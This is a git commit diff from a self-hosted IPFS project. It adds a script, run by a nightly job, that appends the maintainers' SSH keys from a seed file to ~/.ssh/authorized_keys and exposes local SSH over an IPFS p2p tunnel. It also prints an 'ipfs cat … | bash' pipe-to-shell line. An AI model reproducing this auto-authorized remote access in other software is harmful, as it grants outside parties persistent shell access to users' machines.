DRAGON WOT ACTIVATED

This commit is contained in:
fred 2024-02-11 19:46:02 +01:00
parent 58f7ae6bb4
commit 3833963b26
5 changed files with 100 additions and 64 deletions

View File

@ -4,8 +4,8 @@
# License: AGPL-3.0 (https://choosealicense.com/licenses/agpl-3.0/)
########################################################################
MY_PATH="`dirname \"$0\"`" # relative
MY_PATH="`( cd \"$MY_PATH\" && pwd )`" # absolutized and normalized
. "$MY_PATH/tools/my.sh"
MY_PATH="`( cd \"${MY_PATH}\" && pwd )`" # absolutized and normalized
. "${MY_PATH}/tools/my.sh"
start=`date +%s`
echo "20H12 (♥‿‿♥) $(hostname -f) $(date)"
espeak "Ding" > /dev/null 2>&1
@ -21,7 +21,7 @@ while [[ ! $(netstat -tan | grep 5001 | grep LISTEN) ]]; do
sleep 10
((floop++)) && [ $floop -gt 36 ] \
&& echo "ERROR. IPFS daemon not restarting" \
&& $MY_PATH/tools/mailjet.sh "support@qo-op.com" "/tmp/20h12.log" "IPFS RESTART ERROR 20H12" \
&& ${MY_PATH}/tools/mailjet.sh "support@qo-op.com" "/tmp/20h12.log" "IPFS RESTART ERROR 20H12" \
&& exit 1
done
# espeak "CODE git pull" > /dev/null 2>&1
@ -46,7 +46,7 @@ git pull
# espeak "20 HOURS 12 MINUTES. ASTROBOT RUNNING." > /dev/null 2>&1
## Updating yt-dlp
$MY_PATH/youtube-dl.sh
${MY_PATH}/youtube-dl.sh
sudo youtube-dl -U
# Refresh ~/.zen/game/world/G1VOEU
@ -85,11 +85,14 @@ seconds=$((dur % 60))
echo "DURATION ${hours} hours ${minutes} minutes ${seconds} seconds"
echo "20H12 (♥‿‿♥) Execution time was $dur seconds."
# ~/.zen/Astroport.ONE/tools/ipfs_P2P_forward.sh ## COULD FORWARD LOCAL TCP PORT TO SWARM
rm ~/.zen/game/players/localhost/latest
## DRAGON SSH WOT
echo "RESTART DRAGONS WOT"
${MY_PATH}/tools/DRAGON_p2p_ssh.sh off
${MY_PATH}/tools/DRAGON_p2p_ssh.sh
## RESTART
## MAIL LOG : support@qo-op.com ##
$MY_PATH/tools/mailjet.sh "support@qo-op.com" "/tmp/20h12.log" "20H12"
${MY_PATH}/tools/mailjet.sh "support@qo-op.com" "/tmp/20h12.log" "20H12"
espeak "DURATION ${hours} hours ${minutes} minutes ${seconds} seconds" > /dev/null 2>&1

View File

@ -1,4 +1,4 @@
# CONTAINS Address of 1st Bootstrap Stations (24/24 Public IP) - DO NOT EDIT MANUALY -
# UPlanet Swarm Bootstrap Stations # Adapt for your domain #
# https://ipfs.copylaradio.com ipfs.copylaradio.com
#################################################################
# astroport.libra.copylaradio.com
@ -7,9 +7,6 @@
# scorpio.copylaradio.com
/dnsaddr/scorpio.copylaradio.com/p2p/12D3KooWS8EiLNay8qVnFaULpxW1X9sGZZz4wV8E6E3QEwCRktry
# astroport.sonic.copylaradio.com
# /ip4/161.97.174.60/tcp/4001/p2p/12D3KooWJnzYzJBtruXZwUQJriF1ePtDQCUQp4aNBV5FjpYVdfhc
#################################################################
###### WISHING TO ADD YOUR NODE TO OFFICIAL ASTROPORT BOOSTRAP LIST ?
###### ===> CONTACT support@qo-op.com

6
A_boostrap_ssh.txt Normal file
View File

@ -0,0 +1,6 @@
## SSH PUBLIC KEYS
## SEEDS OF THE DRAGONS WOT
## https://pad.p2p.legal/keygen
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEtg3SlRxtzsQnsBSeU83W0tvUyBTUvOU5lhjlbZVPCZ support@qo-op.com
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILTzTegcBD3WwIyTwT3kIh6jGqyLZzEzXhcuF6IhAjlc
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHJBG6lim4ZmSmpU+GbOKJXO9arfRCP5TdKlhGa4CLJp

83
tools/DRAGON_p2p_ssh.sh Executable file
View File

@ -0,0 +1,83 @@
#!/bin/bash
################################################################################
# Author: Fred (support@qo-op.com)
# Version: 0.2
# License: AGPL-3.0 (https://choosealicense.com/licenses/agpl-3.0/)
################################################################################
# Activate SUPPORT MODE: open ssh over IPFS
MY_PATH="`dirname \"$0\"`" # relative
MY_PATH="`( cd \"$MY_PATH\" && pwd )`" # absolutized and normalized
. "$MY_PATH/my.sh"
########################################################################
YOU=$(myIpfsApi) || er+=" ipfs daemon not running"
[[ "$YOU" == "" || "${IPFSNODEID}" == "" ]] && echo "ERROR : $er " && exit 1
########################################################################
## THIS SCRIPT COPY BOOSTRAP PUBKEY
### AND OPEN IPFS P2P SSH FORWARD ON CHANNEL
# Make Station publish SSH port on "/x/ssh-$(IPFSNODEID)"
########################################################################
## use STOP or OFF to finish forwarding
PARAM="$1"
if [[ "${PARAM,,}" == "off" || "${PARAM,,}" == "stop" ]]; then
ipfs p2p close --all
rm ~/.zen/tmp/${IPFSNODEID}/x_ssh.sh 2>/dev/null
rm ~/.zen/tmp/${IPFSNODEID}/y_ssh.pub 2>/dev/null
echo "STOP" && exit 0
fi
############################################
## DISTRIBUTE DRAGON SSH WOT SEED : A_boostrap_ssh.txt
############################################
while IFS= read -r line
do
LINE=$(echo "$line" | grep "ssh-ed25519" | grep -Ev "#") # Remove # & not ssh-ed25519
[[ ! ${LINE} ]] && continue
if [[ ! $(cat ~/.ssh/authorized_keys | grep "${LINE}") ]]
then
echo "# ADDING ${LINE} to ~/.ssh/authorized_keys"
mkdir -p ~/.ssh && echo "${LINE}" >> ~/.ssh/authorized_keys
else
echo "TRUSTING ${LINE}"
fi
done < ${MY_PATH}/../A_boostrap_ssh.txt
############################################
## PUBLISH SSH PUBKEY OVER IPFS
## KITTY ssh-keygen style
[[ -s ~/.ssh/id_ed25519.pub ]] && cp ~/.ssh/id_ed25519.pub ~/.zen/tmp/${IPFSNODEID}/y_ssh.pub
## DRAGONz PGP/SSH style (https://pad.p2p.legal/keygen)
gpg --export-ssh-key $(cat ~/.zen/game/players/.current/.player) 2>/dev/null > ~/.zen/tmp/${IPFSNODEID}/z_ssh.pub
############################################
### FORWARD SSH PORT over /x/ssh-${IPFSNODEID}
############################################
echo "Lanching /x/ssh-${IPFSNODEID}"
[[ ! $(ipfs p2p ls | grep "/x/ssh-${IPFSNODEID}") ]] && ipfs p2p listen /x/ssh-${IPFSNODEID} /ip4/127.0.0.1/tcp/22
ipfs p2p ls
echo
echo "#!/bin/bash"
############################################
## PREPARE x_ssh.sh
## REMOTE ACCESS COMMAND FROM DRAGONS
############################################
PORT=22000
PORT=$((PORT+${RANDOM:0:3}))
echo "if [[ ! \$(ipfs p2p ls | grep x/ssh-${IPFSNODEID}) ]]; then
ipfs --timeout=5s ping -n 1 /p2p/${IPFSNODEID}
ipfs p2p forward /x/ssh-${IPFSNODEID} /ip4/127.0.0.1/tcp/$PORT /p2p/${IPFSNODEID}
ssh $USER@127.0.0.1 -p $PORT
fi" > ~/.zen/tmp/${IPFSNODEID}/x_ssh.sh
cat ~/.zen/tmp/${IPFSNODEID}/x_ssh.sh
############################################
echo
echo "ipfs cat /ipns/${IPFSNODEID}/x_ssh.sh | bash"
############################################
exit 0

View File

@ -1,53 +0,0 @@
#!/bin/bash
################################################################################
# Author: Fred (support@qo-op.com)
# Version: 0.2
# License: AGPL-3.0 (https://choosealicense.com/licenses/agpl-3.0/)
################################################################################
# Activate SUPPORT MODE: open ssh over IPFS
MY_PATH="`dirname \"$0\"`" # relative
MY_PATH="`( cd \"$MY_PATH\" && pwd )`" # absolutized and normalized
. "$MY_PATH/my.sh"
########################################################################
YOU=$(myIpfsApi) || er+=" ipfs daemon not running"
[[ "$YOU" == "" || "$IPFSNODEID" == "" ]] && echo "ERROR : $er " && exit 1
########################################################################
PARAM="$1" ## can STOP or OFF
if [[ "${PARAM,,}" == "off" || "${PARAM,,}" == "stop" ]]; then
ipfs p2p close --all
rm ~/.zen/tmp/$IPFSNODEID/x_ssh.sh 2>/dev/null
echo "STOP" && exit 0
fi
# Make Station publish SSH port on "/x/ssh-$(IPFSNODEID)"
zuid=${IPFSNODEID}
if [[ ! $(cat ~/.ssh/authorized_keys | grep "fred@ONELOVE") ]]
then
echo "# ADD fred@ONELOVE to ~/.ssh/authorized_keys" && mkdir -p ~/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFLHW8P88C/B7622yXzdAn1ZcTBfE1A4wMqajBwAoHwUVTOUaYfvkiSxbzb5H9dPTAXhQU6ZfuLa70kTo1m2b9TKH0tD6hR3RiKJ0NIjCHYEypcPGpLmHaZWnBKPq3IUU24qFVdUJxnTkDdFUszYMNoV4nqlXY/ZYdNpic8L1jPPyfOLLfPFkuSxagyQj4FGJq77UQE5j+skMJS3ISkazNTLqOCGLFJ5qtBC11BvQaCJ4cQ2Ss7ejPYhpx16NLJfg9VtG4dv9ZebEIl2pf7niiQGSPrDMFWHuQcGAuHt/patr0BcvfvD3Gv+qNsVfAJCNZ2U5NHEMKIhgj1ilNPEw7 fred@ONELOVE" >> ~/.ssh/authorized_keys
fi
echo "Lanching /x/ssh-$zuid"
[[ ! $(ipfs p2p ls | grep "/x/ssh-$zuid") ]] && ipfs p2p listen /x/ssh-$zuid /ip4/127.0.0.1/tcp/22
# echo "echo \"ssh-$zuid local port please?\"; read lport; ipfs p2p forward /x/ssh-$zuid /ip4/127.0.0.1/tcp/$lport /p2p/$IPFSNODEID" >> ~/.zen/tmp/$IPFSNODEID/astroport/port
ipfs p2p ls
## PREPARE x_ssh.sh
## ipfs cat /ipns/$IPFSNODEID/.$IPFSNODEID/x_ssh.sh | bash
PORT=22000
PORT=$((PORT+${RANDOM:0:3}))
echo "if [[ ! \$(ipfs p2p ls | grep x/ssh-$zuid) ]]; then
ipfs --timeout=5s ping -n 1 /p2p/$IPFSNODEID
ipfs p2p forward /x/ssh-$zuid /ip4/127.0.0.1/tcp/$PORT /p2p/$IPFSNODEID
ssh $USER@127.0.0.1 -p $PORT
fi" > ~/.zen/tmp/$IPFSNODEID/x_ssh.sh
cat ~/.zen/tmp/$IPFSNODEID/x_ssh.sh
echo "$myIPFS/ipns/$IPFSNODEID/x_ssh.sh"
## THIS PORT FORWARDING HUB COULD BE MADE MORE CONTROLABLE USING FRIENDSHIP LEVEL & IPFS BALISES